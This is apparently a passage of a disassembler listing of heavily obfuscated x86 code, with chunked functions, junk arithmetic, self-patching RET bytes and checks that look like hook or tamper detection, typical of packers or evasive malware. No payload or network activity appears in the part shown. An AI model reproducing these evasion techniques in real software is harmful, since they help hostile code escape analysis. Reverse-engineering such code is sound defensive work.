; FUNCTION CHUNK AT 00442FAB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444E40 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044A7EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D7EE SIZE 00000005 BYTES

		push	esi
		mov	esi, ebp
		xchg	esi, [esp+0]
		mov	ebp, esp
		jnb	sub_44BFB7
		add	esp, 0FFFFFFD0h
		mov	eax, 12h
		jmp	loc_44D7EE
sub_44B47A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B495	proc near		; CODE XREF: sub_443987:loc_440645j

; FUNCTION CHUNK AT 00440955 SIZE 00000020 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	edx, [esp+0]
		mov	ebp, edx
		jmp	loc_440955
sub_44B495	endp

; ---------------------------------------------------------------------------

loc_44B4A5:				; CODE XREF: kgbikm34:0044D259j
		push	0F579FF1Eh
		pop	esi
		or	esi, 15BC41BBh
		xor	esi, 0F5FDFFBBh
		add	edx, esi
		jmp	loc_4394FC
; ---------------------------------------------------------------------------
		jmp	ds:off_41E188
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_44B4C4:				; CODE XREF: sub_44D21F-D7CAj
		jmp	loc_43FBAA
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C74C

loc_44B4C9:				; CODE XREF: sub_43C74C-1B87j
		jmp	loc_43A1F2
; END OF FUNCTION CHUNK	FOR sub_43C74C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_44B4CE:				; CODE XREF: sub_44A80D-64ECj
					; sub_44A80D-2A40j ...
		xchg	edi, [esp+4+var_4]
		mov	edx, edi
		pop	edi
		jz	loc_4405E1
		mov	eax, [esp+0]
		jmp	loc_44A62F
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F200

loc_44B4E2:				; CODE XREF: sub_43F200-5E10j
					; kgbikm34:loc_44343Fj
		call	sub_440841

loc_44B4E7:				; CODE XREF: sub_444F93+4j
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43F200
; ---------------------------------------------------------------------------
		cmp	esi, ebp
		jmp	loc_444D31
; ---------------------------------------------------------------------------

loc_44B4F3:				; CODE XREF: kgbikm34:00445A8Aj
		xor	eax, ecx

; =============== S U B	R O U T	I N E =======================================



sub_44B4F5	proc near		; CODE XREF: sub_445317-4742p

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ebp, [esp-4+arg_0]
		push	offset loc_440008
		jmp	nullsub_171
sub_44B4F5	endp

; ---------------------------------------------------------------------------
		adc	ebp, edi
		jmp	loc_43A155
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440BF9

loc_44B50D:				; CODE XREF: sub_440BF9-4D3j
		cmp	byte ptr [eax],	0CFh
		jz	loc_43CEBE
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0E9h
		jz	loc_43CEBE
		jmp	loc_43E7C6
; END OF FUNCTION CHUNK	FOR sub_440BF9
; ---------------------------------------------------------------------------
		call	sub_44087D
; START	OF FUNCTION CHUNK FOR sub_44DE70

loc_44B52C:				; CODE XREF: sub_44DE70-14DCj
		jmp	loc_43EFA9
; END OF FUNCTION CHUNK	FOR sub_44DE70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446D60

loc_44B531:				; CODE XREF: sub_446D60+3B58j
		jmp	loc_446DA8
; END OF FUNCTION CHUNK	FOR sub_446D60
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B537	proc near		; CODE XREF: kgbikm34:0043B159p
					; sub_444002-76BEp ...

; FUNCTION CHUNK AT 00439CBD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004442D7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00448C0B SIZE 00000025 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		push	ebx
		jmp	loc_448C0B
sub_44B537	endp

; ---------------------------------------------------------------------------

loc_44B546:				; CODE XREF: kgbikm34:loc_4491BCj
		not	edi
		jmp	loc_438F5B
; ---------------------------------------------------------------------------

locret_44B54D:				; CODE XREF: kgbikm34:loc_43CAABj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E127

loc_44B54E:				; CODE XREF: sub_44E127+Fj
		jmp	loc_43782D
; END OF FUNCTION CHUNK	FOR sub_44E127
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440841

loc_44B553:				; CODE XREF: sub_440841+41C2j
		jmp	loc_43D560
; END OF FUNCTION CHUNK	FOR sub_440841

; =============== S U B	R O U T	I N E =======================================



sub_44B558	proc near		; CODE XREF: sub_440488:loc_43AA54j
					; sub_43C55C+4B8Dp

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	ebx, [esp-4+arg_0]
		call	sub_43EB8F

loc_44B564:				; CODE XREF: kgbikm34:00444CA3j
		mov	eax, 3E69A3C2h
		call	sub_4400C7
		push	edx
		call	sub_4460F2

loc_44B574:				; CODE XREF: sub_4407FD+501Ej
		jmp	loc_44C368
sub_44B558	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_44B579:				; CODE XREF: sub_440141-7B02j
		jmp	loc_44B145
; END OF FUNCTION CHUNK	FOR sub_440141

; =============== S U B	R O U T	I N E =======================================



sub_44B57E	proc near		; DATA XREF: sub_43FD63:loc_4442CDo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043DA7E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00443E7C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D7D7 SIZE 00000005 BYTES

		push	esi
		push	13DC9C4Dh
		pop	esi
		or	esi, 0F3B3A2FCh
		rol	esi, 0Fh
		add	esi, 20C5DC29h
		jmp	loc_44D7D7
sub_44B57E	endp

; ---------------------------------------------------------------------------

loc_44B599:				; CODE XREF: kgbikm34:00440CBFj
		shr	eax, 13h
; START	OF FUNCTION CHUNK FOR sub_44B991

loc_44B59C:				; CODE XREF: sub_44B991:loc_440C9Cj
		add	eax, 0B0D23BB9h
		xchg	eax, [esp+0]
		jmp	loc_43902E
; END OF FUNCTION CHUNK	FOR sub_44B991
; ---------------------------------------------------------------------------

loc_44B5AA:				; DATA XREF: kgbikm34:00438D91o
		pop	edx
		lea	eax, loc_446DA8
		call	sub_44E29F
; START	OF FUNCTION CHUNK FOR sub_4466A3

loc_44B5B6:				; CODE XREF: sub_4466A3:loc_43D2C6j
					; sub_44A1F9:loc_44959Bj
		xchg	eax, [esp+0]
		jmp	loc_438FA8
; END OF FUNCTION CHUNK	FOR sub_4466A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_44B5BE:				; CODE XREF: sub_43DC9A:loc_448E83j
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 5
		cmp	eax, ds:dword_43E238
		jz	loc_440057

loc_44B5D2:				; CODE XREF: sub_43DC9A+E15Bj
		jz	loc_44274B
		mov	eax, [ebp-4]
		jmp	loc_443C2E
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_44B5E0:				; CODE XREF: sub_43ACD5:loc_441B57j
		mov	ebp, edi
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_43ACD5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B5E4	proc near		; CODE XREF: sub_444267-CAE0p
					; sub_437ACB:loc_437AD8j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004461B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B226 SIZE 00000018 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_4461B6
sub_44B5E4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CD5D

loc_44B5EC:				; CODE XREF: sub_43CD5D:loc_44BE64j
		push	offset sub_44725C
		jmp	nullsub_189
; END OF FUNCTION CHUNK	FOR sub_43CD5D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445660

loc_44B5F7:				; CODE XREF: sub_445660+5j
		jmp	nullsub_174
; END OF FUNCTION CHUNK	FOR sub_445660
; ---------------------------------------------------------------------------

loc_44B5FC:				; CODE XREF: kgbikm34:004403EDj
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_44B5FD	proc near		; CODE XREF: sub_4489C5:loc_4435F2p

; FUNCTION CHUNK AT 0043F926 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00446C54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448176 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00448BE2 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, offset dword_438368
		call	sub_44A2AC
		cmp	ds:dword_43836C, 0
		jmp	loc_446C54
sub_44B5FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444051

loc_44B617:				; CODE XREF: sub_444051:loc_44DB2Fj
		jz	loc_439A71
; END OF FUNCTION CHUNK	FOR sub_444051
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_44B61D:				; CODE XREF: sub_4478CD+4B2Dj
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------
		test	ecx, 0AA7B2ED5h
		jmp	loc_439A69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC43

loc_44B62D:				; CODE XREF: sub_43CC43:loc_445D1Bj
		mov	al, [ebp-0Ah]
		shr	eax, 4
		xor	[ebp-0Ah], al
		inc	dword ptr [ebp-8]
		inc	dword ptr [ebp-4]
		jmp	loc_441198
; END OF FUNCTION CHUNK	FOR sub_43CC43

; =============== S U B	R O U T	I N E =======================================



sub_44B641	proc near		; CODE XREF: sub_44D71B:loc_441190p
		mov	eax, 6Eh
		retn
sub_44B641	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439852

loc_44B647:				; CODE XREF: sub_439852+130D1j
		jmp	loc_43A393
; END OF FUNCTION CHUNK	FOR sub_439852

; =============== S U B	R O U T	I N E =======================================



sub_44B64C	proc near		; CODE XREF: kgbikm34:loc_437000p
					; sub_439BDE+9p ...

; FUNCTION CHUNK AT 0043B38E SIZE 00000005 BYTES

		js	sub_44C62D
		jmp	loc_43B38E
sub_44B64C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_335. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_44B658:				; CODE XREF: sub_442B15:loc_442456j
		cdq
		jg	loc_439501
		mov	eax, 7B32CB98h
		jmp	loc_439B0C
; END OF FUNCTION CHUNK	FOR sub_442B15
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_261. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B66A:				; CODE XREF: kgbikm34:00449106j
		xor	esi, 24698E74h
		or	esi, 0CDC7CB47h
		add	esi, 24A04BDh
		mov	[esi], eax
		pop	esi
		lea	eax, sub_44BBC0
		mov	byte ptr [eax],	0C3h
		jmp	sub_44BBC0

; =============== S U B	R O U T	I N E =======================================



sub_44B68D	proc near		; CODE XREF: sub_401000+1BBp
					; sub_401000+1E9p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043D2BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A532 SIZE 0000001A BYTES

		push	esi
		jmp	loc_43D2BC
sub_44B68D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D07C

loc_44B693:				; CODE XREF: sub_44D07C:loc_43A052j
		push	0A073E255h
		pop	edi
		and	edi, 0FA728DF8h
		sub	edi, 0BDD63D5Fh
		call	sub_44D599
; END OF FUNCTION CHUNK	FOR sub_44D07C
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_44B6AA:				; CODE XREF: sub_44114F+2758j
		jmp	loc_4417D6
; END OF FUNCTION CHUNK	FOR sub_44114F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_331. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D599

loc_44B6B0:				; CODE XREF: sub_44D599+Cj
		pop	edi

loc_44B6B1:				; CODE XREF: sub_43BF7A+1j
					; sub_44D9CE-11A46j ...
		jno	loc_43F620
		ror	eax, 10h
		add	eax, 57948964h
		ror	eax, 16h
		jmp	loc_44D6BB
; END OF FUNCTION CHUNK	FOR sub_44D599
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447135

loc_44B6C9:				; CODE XREF: sub_447135:loc_43A5C8j
		mov	byte ptr [eax],	0C3h
		jmp	loc_44ACE0
; END OF FUNCTION CHUNK	FOR sub_447135

; =============== S U B	R O U T	I N E =======================================



sub_44B6D1	proc near		; CODE XREF: sub_402F48+94p
					; sub_44B6D1+5j
					; DATA XREF: ...
		call	sub_44B6E1
		jmp	ds:off_41E218
sub_44B6D1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D20D

loc_44B6DC:				; CODE XREF: sub_44D20D+Dj
		jmp	loc_4376A7
; END OF FUNCTION CHUNK	FOR sub_44D20D

; =============== S U B	R O U T	I N E =======================================



sub_44B6E1	proc near		; CODE XREF: sub_43F725:loc_445A4Dj
					; sub_44B6D1p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437339 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004379CA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043855A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A114 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043A5D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DA19 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043E96A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FE4A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044046D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004414D1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044293D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00444018 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00444BBB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044A5A9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044AB00 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044AC10 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C3A5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E11C SIZE 0000000B BYTES

		xchg	edi, [esp+4+var_4]
		mov	edx, edi
		xchg	esi, [esp+4+var_4]
		mov	edi, esi
		pop	esi
		jmp	loc_44AB00
sub_44B6E1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44B6F1	proc near		; DATA XREF: sub_4390CF+8C17o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437110 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043AEF3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CA6F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E241 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EDDF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F862 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044650C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004469BE SIZE 0000000B BYTES

		push	edi
		push	0D42A164Eh
		pop	edi
		add	edi, 695A73D3h
		test	edi, 8
		jmp	loc_43E241
sub_44B6F1	endp

; ---------------------------------------------------------------------------
		add	eax, 0B77E32AAh
		jmp	loc_44C648

; =============== S U B	R O U T	I N E =======================================



sub_44B714	proc near		; CODE XREF: kgbikm34:0043E7AAj
					; kgbikm34:004456FFp

; FUNCTION CHUNK AT 0043A421 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043E313 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CBD0 SIZE 0000001E BYTES

		xchg	ebx, [esp+0]
		pop	ebx

loc_44B718:				; CODE XREF: kgbikm34:004459F8j
		push	0DEEB3822h
		xchg	ebx, [esp+0]
		mov	edi, ebx
		jmp	loc_44CBD0
sub_44B714	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_44B727:				; CODE XREF: sub_449F77-9695j
		jz	loc_449A33
		jmp	loc_43F0F5
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_44B732:				; CODE XREF: sub_43D045:loc_43AD48j
		add	eax, 0E9FF990Fh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_447C7F
		jmp	loc_438984
; END OF FUNCTION CHUNK	FOR sub_43D045
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B748:				; CODE XREF: kgbikm34:0044BC67j
		xchg	esi, [esp]
		call	sub_448CCA
; START	OF FUNCTION CHUNK FOR sub_43E085

loc_44B750:				; CODE XREF: sub_43E085-FC7j
		jmp	nullsub_280
; END OF FUNCTION CHUNK	FOR sub_43E085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_44B755:				; CODE XREF: sub_449D59-CED5j
		jmp	loc_441BE8
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------

loc_44B75A:				; CODE XREF: kgbikm34:00438F62j
		jmp	locret_43B451
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A476

loc_44B75F:				; CODE XREF: sub_44A476:loc_44D75Fj
		mov	eax, 0ADE4566h
		add	esi, ecx
		mov	[ebx], edx
		jmp	loc_449194
; END OF FUNCTION CHUNK	FOR sub_44A476
; ---------------------------------------------------------------------------

loc_44B76D:				; CODE XREF: kgbikm34:loc_44E16Dj
					; kgbikm34:0044E18Ej
		or	edx, 14C91F3Fh
		rol	edx, 19h
		sub	edx, 0BDE32F41h
		add	edx, 3F3972FAh
		jmp	loc_43C013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4ED

loc_44B787:				; CODE XREF: sub_43F4ED+E539j
		xchg	ebx, [esp+8+var_8]
		push	eax
		pushf
		push	3761BA14h
		pop	eax
		add	eax, 0D9DC1400h
		jmp	loc_44255A
; END OF FUNCTION CHUNK	FOR sub_43F4ED
; ---------------------------------------------------------------------------

loc_44B79D:				; DATA XREF: sub_44262A-8656o
		add	dword ptr [ebp-8], 4
		jmp	loc_439FEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44262A

loc_44B7A6:				; CODE XREF: sub_44262A:loc_439FCEj
		add	dword ptr [ebp-8], 2
		jmp	loc_44A3BE
; END OF FUNCTION CHUNK	FOR sub_44262A

; =============== S U B	R O U T	I N E =======================================



sub_44B7AF	proc near		; CODE XREF: sub_4471D6-DF03p
					; sub_4471D6+1E3Cp
		push	ebp
		push	offset loc_449124
		jmp	nullsub_272
sub_44B7AF	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448800

loc_44B7BB:				; CODE XREF: sub_448800+4F1j
		jmp	sub_44C198
; END OF FUNCTION CHUNK	FOR sub_448800
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DC12

loc_44B7C0:				; CODE XREF: sub_44DC12-155F0j
		jmp	sub_43FD86
; END OF FUNCTION CHUNK	FOR sub_44DC12
; ---------------------------------------------------------------------------
		mov	eax, 0A7A44D83h
		call	sub_43BF6F
		push	edi
		push	0B1AD9EC4h
		pop	edi
		rol	edi, 0Dh
		cmp	edi, 0BB1D1B7Bh
		jmp	loc_43EAA8
; ---------------------------------------------------------------------------

loc_44B7E4:				; CODE XREF: kgbikm34:0043B7C0j
		mov	edx, edi
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_44B7E6:				; CODE XREF: sub_43ACD5:loc_447869j
		add	eax, 1CFF324Dh
		test	eax, 100h
		jmp	loc_43E7C0
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AFD

loc_44B7F7:				; CODE XREF: sub_443AFD+6730j
		rol	edx, 1Ah
		and	edx, 7BB35E54h
		add	edx, 9F344364h
		xchg	edx, [esp+8+var_8]
		jmp	loc_442919
; END OF FUNCTION CHUNK	FOR sub_443AFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_44B80E:				; CODE XREF: sub_442B15+4923j
		jnz	loc_439B0F
		jmp	loc_442456
; END OF FUNCTION CHUNK	FOR sub_442B15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B32

loc_44B819:				; CODE XREF: sub_437B32:loc_440CB1j
		jz	loc_44C8C7
		push	offset loc_43DB72
		jmp	nullsub_177
; END OF FUNCTION CHUNK	FOR sub_437B32

; =============== S U B	R O U T	I N E =======================================



sub_44B829	proc near		; CODE XREF: kgbikm34:0044485Fj
					; sub_441819+49BDp

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	esi, [esp-4+arg_0]
		jmp	sub_440E0B
sub_44B829	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B3C

loc_44B835:				; CODE XREF: sub_446B3C-C6FCj
					; kgbikm34:loc_4432E9j
		push	edx
		push	ecx
		push	0B32A0191h
		xchg	esi, [esp+8+var_8]
		mov	ecx, esi
		jmp	loc_442186
; END OF FUNCTION CHUNK	FOR sub_446B3C
; ---------------------------------------------------------------------------
		adc	edi, ebx
		jmp	sub_4478A8
; ---------------------------------------------------------------------------

loc_44B84D:				; DATA XREF: sub_445D55-1165o
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_4495A1
		jmp	loc_437AF7
; ---------------------------------------------------------------------------
		jo	loc_442DC8
; START	OF FUNCTION CHUNK FOR sub_44964D

loc_44B862:				; CODE XREF: sub_44964D:loc_44973Bj
		rol	esi, 0Fh
		xor	esi, 6EA22D0Ch
		add	edx, esi
		jmp	loc_44DFAB
; END OF FUNCTION CHUNK	FOR sub_44964D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_44B872:				; CODE XREF: sub_445F1B:loc_440797j
		call	sub_43EB8F
		push	2E0547D1h
		pop	eax
		sub	eax, 60A07752h
		add	eax, 66E04A97h
		or	eax, 24F96FEAh
		jmp	loc_448D4B
; END OF FUNCTION CHUNK	FOR sub_445F1B

; =============== S U B	R O U T	I N E =======================================



sub_44B894	proc near		; DATA XREF: kgbikm34:loc_4496D3o
		add	ecx, 607A2270h
		xchg	ecx, [esp+0]
		jmp	loc_43AC79
sub_44B894	endp


; =============== S U B	R O U T	I N E =======================================



sub_44B8A2	proc near		; CODE XREF: kgbikm34:00449B86j
					; sub_44D043-2309p

; FUNCTION CHUNK AT 00437228 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441973 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044802B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044D9F2 SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_44A9D8
		mov	edx, 0CF0182F6h
		call	sub_440FF4
		mov	ds:dword_43C590, eax
		jmp	loc_441973
sub_44B8A2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44B8BF	proc near		; CODE XREF: sub_43E4C0j

; FUNCTION CHUNK AT 0044D9DE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044DFCE SIZE 0000001A BYTES

		push	ebp
		jmp	loc_44DFCE
sub_44B8BF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_44B8C5:				; CODE XREF: sub_440141-16D3j
		rol	eax, 19h
		sub	eax, 1088727Ah
		xor	eax, 39339ABDh
		push	esi
		jmp	loc_43C8ED
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------

loc_44B8DA:				; CODE XREF: kgbikm34:00443791j
		jnz	loc_441AC7
		jnp	loc_4492F8
		jmp	loc_44243F
; ---------------------------------------------------------------------------
		xor	eax, 0B5178C79h
		jmp	sub_43DE11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_362. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B8F7:				; CODE XREF: kgbikm34:0043AF8Aj
		jle	loc_441DE1
		or	edx, 0CDBF8FEBh
		jmp	loc_443FA2
; ---------------------------------------------------------------------------

loc_44B908:				; CODE XREF: kgbikm34:0043EF1Cj
		jg	locret_4451EE
		jge	loc_444EFB
		jmp	sub_44A406
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_296. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B91A:				; CODE XREF: kgbikm34:0044E0E2j
		jmp	locret_44952E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDEC

loc_44B91F:				; CODE XREF: sub_43FDEC+Cj
		jmp	nullsub_178
; END OF FUNCTION CHUNK	FOR sub_43FDEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C332

loc_44B924:				; CODE XREF: sub_43C332+9j
		jmp	loc_44AFB9
; END OF FUNCTION CHUNK	FOR sub_43C332
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_44B929:				; CODE XREF: sub_43B0B7+A9BAj
		jnp	loc_43D1D7
		mov	ebp, 878E0BE2h
		push	0DC76E05Fh

loc_44B939:				; CODE XREF: sub_43B0B7:loc_43F9E0j
		push	632BF054h
		pop	eax
		or	eax, 6F3A710Bh
		jmp	loc_438C47
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------

loc_44B94A:				; CODE XREF: kgbikm34:0044540Cj
		jnb	loc_445E4B
		inc	ds:dword_4480C4
		call	sub_441B24
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_44B95B:				; CODE XREF: sub_442B15+Fj
		jmp	loc_447429
; END OF FUNCTION CHUNK	FOR sub_442B15

; =============== S U B	R O U T	I N E =======================================



sub_44B960	proc near		; DATA XREF: kgbikm34:0043A551o

; FUNCTION CHUNK AT 004431FB SIZE 00000005 BYTES

		push	ebx
		push	offset sub_449CB4
		jmp	loc_4431FB
sub_44B960	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_44B96B:				; CODE XREF: sub_440443:loc_43CCBAj
		jnz	loc_449B54
		jmp	loc_438DC6
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447DA2

loc_44B976:				; CODE XREF: sub_447DA2+14j
		push	eax
		push	0BD1F2F6Ch
		pop	eax
		sub	eax, 0F8E34623h
		add	eax, 3C08ADD1h
		xchg	eax, [esp+4+var_4]
		jmp	loc_446603
; END OF FUNCTION CHUNK	FOR sub_447DA2

; =============== S U B	R O U T	I N E =======================================



sub_44B991	proc near		; DATA XREF: kgbikm34:004497A6o

; FUNCTION CHUNK AT 0043959E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043A35D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00440C9C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442E82 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044B59C SIZE 0000000E BYTES

		push	9D46796Ah
		pop	eax
		sub	eax, 0BCAAB607h
		cmp	eax, 9AB965AFh
		jmp	loc_442E82
sub_44B991	endp

; ---------------------------------------------------------------------------

loc_44B9A8:				; CODE XREF: kgbikm34:00439A98j
		push	639B86B2h

; =============== S U B	R O U T	I N E =======================================



sub_44B9AD	proc near		; CODE XREF: sub_43F5F7:loc_44850Ep

; FUNCTION CHUNK AT 0043E535 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00442514 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044465A SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_442514
sub_44B9AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44B9BB:				; CODE XREF: kgbikm34:00437685j
		or	edx, edx
		jnz	loc_44C89A

loc_44B9C3:				; CODE XREF: kgbikm34:00443A10j
		jmp	loc_438EE2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
